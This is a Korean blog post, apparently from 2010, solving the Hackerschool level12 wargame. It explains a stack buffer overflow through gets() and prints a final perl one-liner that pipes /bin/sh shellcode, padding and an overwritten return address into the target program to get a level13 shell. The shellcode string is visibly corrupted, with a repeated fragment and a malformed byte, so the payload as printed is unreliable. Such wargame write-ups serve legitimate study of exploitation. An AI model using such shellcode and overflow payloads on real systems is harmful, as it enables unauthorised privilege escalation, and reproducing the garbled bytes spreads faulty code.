본문 바로가기

My Study/Exploit

Hackerschool level12

계속해서 해커스쿨 문제를 풀면서 BOF를 공부하고 있는 저입니다.
하지만 실제 해킹 대회에서는 스택에서 코드실행이 불가능한 문제들이 나오는데.. 
스택에서 코드실행이 가능한 해커스쿨 문제가 큰 도움이 되련지..^^;;

이번 문제를 봐보겠습니다.

코드 실행을 시키니 문장을 입력하라고 나오면서 입력한 것을 그대로 출력시키고 있습니다.
gdb로 코드를 봐보겠습니다.


이번 것도 별거 없습니다. level11은 main함수 인자로 전달 받았지만 이번에는 main 함수 내에서 입력받고 출력하는게 전부 끝납니다.

위 어셈코드를 보면서 스택을 그려보겠습니다. 스택 그림도 level11과 다를께 없습니다.

gets로 전달되는 주소를 보면 buf의 끝부터? 들어오게 됩니다.
그러면 시나리오가 나옵니다.

쉘코드를 입력하고 ebp까지 아무 문자로 덮어씌운다음 ret부분을 buf끝 주소로 바꾼다.

이번 문제도 코드 자체에 setreuid가 있으므로 level11에서 사용했던 쉘코드를 그대로 사용해 주시면 됩니다.

최종 공격 코드입니다.

attackme를 실행시키기 전에
(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f
\x62\x69\x6e\x89\xe3\x50\x53\x9\x6e\x89\xe3\x50\x53
\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","A"x243,"\x10\xfa\xff\xbf"';cat)|
위와 같은 코드를 넣어주었습니다. 이것은 프로그램 내에서 문자열 입력 받는 함수를 만나면 이것을 입력해 주는 것 같습니다.

level11과 달리 이것은 main함수 내부에서 입력을 받기 때문에 ebp값은 고정되어 있습니다.

이제 공격코드를 실행시켜 보겠습니다.

whoami를 쳤더니 level13이라고 나오고 있습니다. 성공입니다.

사람들 풀이를 보니 egg쉘을 사용했더군요. 사실 전.. egg쉘 사용법을 모릅니다. ;; 원리도 모르구요.
(이 문제를 풀 당시.. 지금은 알아요~ ^^;)

'My Study > Exploit' 카테고리의 다른 글

Hackerschool level15  (0) 2010.03.23
Hackerschool level14  (0) 2010.03.22
Hackerschool level13  (0) 2010.03.22
shell 코드 만들어 보기  (14) 2010.03.19
BOF의 개념 ( Hackerschool level11 )  (7) 2010.03.19